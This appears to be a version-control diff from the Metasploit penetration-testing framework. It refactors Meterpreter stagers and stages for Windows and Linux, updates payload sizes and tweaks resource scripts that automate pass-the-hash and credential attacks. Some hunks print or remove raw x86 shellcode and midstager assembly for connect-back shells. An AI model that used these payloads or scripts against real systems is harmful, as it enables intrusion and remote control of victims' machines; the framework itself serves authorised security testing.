|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102498
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,8 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/linux/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 110
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
@ -19,7 +19,7 @@ module Metasploit4
|
|||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager (Linux x86)',
|
||||
'Description' => 'Listen for a connection (Linux x86)',
|
||||
'Author' => [ 'skape', 'egypt', ],
|
||||
'Author' => [ 'skape', 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -6,83 +6,25 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/linux/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
###
|
||||
#
|
||||
# ReverseTcp
|
||||
# ----------
|
||||
#
|
||||
# Linux reverse TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 71
|
||||
CachedSize = 193
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x12, 'ADDR' ],
|
||||
'LPORT' => [ 0x19, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x97" +# xchg eax,edi
|
||||
"\x5b" +# pop ebx
|
||||
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\x50" +# push eax
|
||||
"\x51" +# push ecx
|
||||
"\x57" +# push edi
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x43" +# inc ebx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\xc1\xeb\x0c" +# shr ebx,0xc
|
||||
"\xc1\xe3\x0c" +# shl ebx,0xc
|
||||
"\xb0\x7d" +# mov al,0x7d
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x99" +# cdq
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
))
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => [ 'skape', 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 285
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::BindTcp
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttp'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 327
|
||||
CachedSize = 329
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttps'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 347
|
||||
CachedSize = 349
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 479
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::BindTcp_x64
|
||||
|
|
|
@ -5,12 +5,14 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 578
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
|
@ -91,6 +93,13 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 437
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcp_x64
|
||||
|
|
|
@ -8,17 +8,14 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
|||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Staged meterpreter server',
|
||||
'Author' => ['PKS', 'egypt'],
|
||||
'Description' => 'Inject the meterpreter server payload (staged)',
|
||||
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -35,6 +32,7 @@ module Metasploit3
|
|||
return ep
|
||||
end
|
||||
|
||||
=begin
|
||||
def elf2bin(payload)
|
||||
# XXX, not working. Use .c version
|
||||
|
||||
|
@ -64,31 +62,76 @@ module Metasploit3
|
|||
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
||||
return mem[0, used]
|
||||
end
|
||||
=end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
entry_offset = elf_ep(payload)
|
||||
config_offset = payload.length - generate_meterpreter.length
|
||||
|
||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||
|
||||
midstager <<
|
||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
||||
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
|
||||
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
|
||||
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
|
||||
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
|
||||
"\xd1\xff\xff\xff"
|
||||
|
||||
|
||||
# Patch in debug options
|
||||
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
|
||||
|
||||
# Patch entry point
|
||||
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
|
||||
encoded_entry = "0x%.8x" % entry_offset
|
||||
encoded_offset = "0x%.8x" % config_offset
|
||||
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
|
||||
|
||||
# Maybe in the future patch in base.
|
||||
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
midstager_asm = %Q^
|
||||
midstager:
|
||||
and esp, 0xFFFFF254
|
||||
push 0x4
|
||||
pop edx
|
||||
mov ecx, esp
|
||||
mov ebx, edi
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80
|
||||
push edi
|
||||
mov eax, 0xC0
|
||||
mov ebx, 0x20040000
|
||||
mov ecx, dword ptr [esp+0x4]
|
||||
push 0x7
|
||||
pop edx
|
||||
push 0x32
|
||||
pop esi
|
||||
xor edi, edi
|
||||
mov ebp, edi
|
||||
dec edi
|
||||
int 0x80
|
||||
cmp eax, 0xFFFFFF7F
|
||||
jb start_read
|
||||
terminate:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
int 0x80 ; sys_exit
|
||||
start_read:
|
||||
xchg ecx, edx
|
||||
xchg ecx, ebx
|
||||
pop ebx
|
||||
read_loop:
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80 ; sys_read
|
||||
cmp eax, 0xFFFFFF7F
|
||||
ja terminate ; exit on error
|
||||
test eax, eax
|
||||
je terminate ; exit on error
|
||||
add ecx, eax
|
||||
sub edx, eax
|
||||
jne read_loop ; read more
|
||||
; edx should be at the end, but we need to adjust for the size of the config
|
||||
; block so we know where to write the socket to memory
|
||||
sub ecx, #{encoded_offset}
|
||||
mov [ecx], ebx ; write the socket to the config
|
||||
push #{encoded_debug_options}
|
||||
push ecx ; pass in the configuration pointer
|
||||
mov eax, #{encoded_entry} ; put the entry point in eax
|
||||
call eax
|
||||
jmp terminate
|
||||
^
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||
|
||||
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
||||
conn.put(midstager)
|
||||
Rex::ThreadSafe.sleep(1.5)
|
||||
|
@ -100,14 +143,40 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_stage
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
meterpreter = generate_meterpreter
|
||||
config = generate_config
|
||||
meterpreter + config
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
||||
def generate_meterpreter
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'linux',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => nil,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => [],
|
||||
:ascii_str => true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,19 +5,21 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -28,14 +30,35 @@ module Metasploit3
|
|||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,37 +5,60 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the x64 meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject_x64
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||
'Author' => [ 'sf' ],
|
||||
'Author' => ['skape','sf', 'OJ Reeves'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ module Msf
|
|||
|
||||
class ConsoleCommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
|
||||
def name
|
||||
PLUGIN_NAME
|
||||
end
|
||||
|
@ -35,11 +35,11 @@ module Msf
|
|||
def msf_local
|
||||
"#{Msf::Config.local_directory}"
|
||||
end
|
||||
|
||||
|
||||
def cmd_nessus_index
|
||||
nessus_index
|
||||
end
|
||||
|
||||
|
||||
def commands
|
||||
{
|
||||
"nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <verify_ssl>",
|
||||
|
@ -81,7 +81,7 @@ module Msf
|
|||
"nessus_folder_list" => "List folders configured on the Nessus server",
|
||||
"nessus_scanner_list" => "List the configured scanners on the Nessus server",
|
||||
"nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count"
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_nessus_help(*args)
|
||||
|
@ -111,7 +111,7 @@ module Msf
|
|||
tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ]
|
||||
tbl << [ "", ""]
|
||||
tbl << [ "Reports Commands", "" ]
|
||||
tbl << [ "-----------------", "-----------------"]
|
||||
tbl << [ "-----------------", "-----------------"]
|
||||
tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ]
|
||||
tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ]
|
||||
tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ]
|
||||
|
@ -205,7 +205,7 @@ module Msf
|
|||
total = Time.now - start
|
||||
print_status("It has taken : #{total} seconds to build the exploits search index")
|
||||
end
|
||||
|
||||
|
||||
def nessus_index
|
||||
if File.exist?("#{xindex}")
|
||||
#check if it's version line matches current version.
|
||||
|
@ -247,7 +247,7 @@ module Msf
|
|||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if args[0] == "-h"
|
||||
print_status("%redYou must do this before any other commands.%clr")
|
||||
print_status("Usage: ")
|
||||
|
@ -259,7 +259,7 @@ module Msf
|
|||
print_status("use a self signed certificate, therefore, users should use ssl_ignore.")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if !@token == ''
|
||||
print_error("You are already authenticated. Call nessus_logout before authenticating again")
|
||||
return
|
||||
|
@ -268,7 +268,7 @@ module Msf
|
|||
ncusage
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@user = @pass = @host = @port = @sslv = nil
|
||||
case args.length
|
||||
when 1,2
|
||||
|
@ -647,7 +647,7 @@ module Msf
|
|||
print_line("IP Address: #{details['info']['host-ip']}")
|
||||
print_line("Hostname: #{details['info']['host-name']}")
|
||||
print_line("Operating System: #{details['info']['operating-system']}")
|
||||
print_line
|
||||
print_line
|
||||
print_status("Vulnerability information")
|
||||
details["vulnerabilities"].each { |vuln|
|
||||
tbl << [ vuln["plugin_name"], vuln["plugin_family"], vuln["severity"] ]
|
||||
|
@ -684,7 +684,7 @@ module Msf
|
|||
report = @n.report_download(scan_id, file_id)
|
||||
File.open("#{msf_local}/#{scan_id}-#{file_id}","w+") do |f|
|
||||
f.puts report
|
||||
print_status("Report downloaded to #{msf_local} directory")
|
||||
print_status("Report downloaded to #{msf_local} directory")
|
||||
end
|
||||
else
|
||||
print_error("Only completed scans ca be downloaded")
|
||||
|
@ -799,7 +799,7 @@ module Msf
|
|||
'Status',
|
||||
'Folder'
|
||||
])
|
||||
|
||||
|
||||
list["scans"].each { |scan|
|
||||
if args[0] == "-r"
|
||||
if scan["status"] == "running"
|
||||
|
@ -1010,11 +1010,11 @@ module Msf
|
|||
end
|
||||
else
|
||||
print_error(export)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Only completed scans could be used for import")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
def is_scan_complete(scan_id)
|
||||
|
|
|
@ -58,24 +58,24 @@ framework.db.creds.each do |creds|
|
|||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
# for now we only check these services, you can add some more ...
|
||||
next if not (serv.name =~ /smb/ or
|
||||
serv.name =~ /microsoft-ds/ or
|
||||
serv.name =~ /netbios-ssn/ or
|
||||
serv.name =~ /ftp/ or
|
||||
serv.name =~ /ssh/ or
|
||||
serv.name =~ /telnet/ or
|
||||
serv.name =~ /mysql/ or
|
||||
serv.name =~ /vnc/ or
|
||||
serv.name =~ /mssql/ or
|
||||
serv.name =~ /pop3/ or
|
||||
next if not (serv.name =~ /smb/ or
|
||||
serv.name =~ /microsoft-ds/ or
|
||||
serv.name =~ /netbios-ssn/ or
|
||||
serv.name =~ /ftp/ or
|
||||
serv.name =~ /ssh/ or
|
||||
serv.name =~ /telnet/ or
|
||||
serv.name =~ /mysql/ or
|
||||
serv.name =~ /vnc/ or
|
||||
serv.name =~ /mssql/ or
|
||||
serv.name =~ /pop3/ or
|
||||
serv.name =~ /postgres/)
|
||||
|
||||
xport = serv.port.to_i
|
||||
xprot = serv.proto
|
||||
xname = serv.name
|
||||
xhost = host.address
|
||||
xhost = host.address
|
||||
|
||||
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
|
||||
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
|
||||
print_line("smb_login")
|
||||
if(verbose == 1)
|
||||
infos(serv,creds,host)
|
||||
|
|
|
@ -9,8 +9,8 @@
|
|||
|
||||
<ruby>
|
||||
#psexec needs a payload
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
else #just to get sure that we have a backup payload
|
||||
pload = "windows/meterpreter/bind_tcp"
|
||||
end
|
||||
|
@ -59,7 +59,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
|
||||
if (jotr == 1)
|
||||
# first checking weak windows hashes with john ... because of the filtering before, we are sure that
|
||||
# this is a windows hash
|
||||
# this is a windows hash
|
||||
# on the first found hash we are going to analyse all hashes - then we set jotr to 0
|
||||
|
||||
print_line("using jtr_crack_fast")
|
||||
|
@ -74,14 +74,14 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
|
||||
smbhash = creds.pass
|
||||
username = creds.user
|
||||
|
||||
|
||||
framework.db.hosts.each do |host|
|
||||
next if (host.os_name !~ /Windows/) # pass the hash works just for Win
|
||||
|
||||
host.services.each do |serv|
|
||||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
next if (serv.name !~ /smb/)
|
||||
next if (serv.name !~ /smb/)
|
||||
|
||||
print_line("using psexec - Pass the hash")
|
||||
if(verbose == 1)
|
||||
|
|
|
@ -36,7 +36,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
next if not serv.host
|
||||
next if (serv.state != Msf::ServiceState::Open)
|
||||
next if (serv.name !~ /http/)
|
||||
|
||||
|
||||
if(verbose == 1)
|
||||
print_line("IP: #{host.address}")
|
||||
print_line("OS: #{host.os_name}")
|
||||
|
|
|
@ -109,7 +109,7 @@ print_line("starting discovery scanners ... stage 2")
|
|||
print_line("============================================")
|
||||
print_line("")
|
||||
|
||||
run_single("unsetg RHOSTS") # we dont need it anymore
|
||||
run_single("unsetg RHOSTS") # we dont need it anymore
|
||||
|
||||
framework.db.workspace.hosts.each do |host|
|
||||
host.services.each do |serv|
|
||||
|
@ -416,7 +416,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
end
|
||||
|
||||
if (serv.name =~ /http/ or serv.port == 80 or serv.port == 443)
|
||||
|
||||
|
||||
if(versionscanners == 1 or serv.name == nil)
|
||||
print_line("Module: http_version")
|
||||
run_single("use auxiliary/scanner/http/http_version")
|
||||
|
@ -700,7 +700,7 @@ framework.db.workspace.hosts.each do |host|
|
|||
jobwaiting(maxjobs,verbose)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if (serv.port == 7777)
|
||||
print_line("Module: energizer_duo_detect")
|
||||
run_single("use auxiliary/scanner/backdoor/energizer_duo_detect")
|
||||
|
|
|
@ -24,9 +24,9 @@ end
|
|||
|
||||
#we look in the global datastore for a global VERBOSE option and use it
|
||||
if (framework.datastore['VERBOSE'] == "true")
|
||||
verbose = 1
|
||||
verbose = 1
|
||||
else
|
||||
verbose = 0
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
if (framework.plugins.to_s =~ /[Ww]map/)
|
||||
|
|
|
@ -61,7 +61,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
|||
|
||||
context '#with_connection' do
|
||||
def reserved_connection_count
|
||||
connection_pool.instance_variable_get(:@reserved_connections).length
|
||||
connection_pool.instance_variable_get(:@reserved_connections).size
|
||||
end
|
||||
|
||||
let(:connection_id) do
|
||||
|
|
|
@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/meterpreter'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/meterpreter/bind_tcp'
|
||||
end
|
||||
|
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/linux/x86/bind_tcp',
|
||||
'stages/linux/x86/shell'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'linux/x86/shell/bind_tcp'
|
||||
end
|
||||
|
@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do
|
|||
'stagers/windows/bind_tcp',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/bind_tcp'
|
||||
end
|
||||
|
@ -2498,7 +2498,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_bind_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_bind_tcp'
|
||||
end
|
||||
|
@ -2508,7 +2508,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_http'
|
||||
],
|
||||
dynamic_size: true,
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_http'
|
||||
end
|
||||
|
@ -2518,7 +2518,7 @@ describe 'modules/payloads', :content do
|
|||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_https'
|
||||
],
|
||||
dynamic_size: true,
|
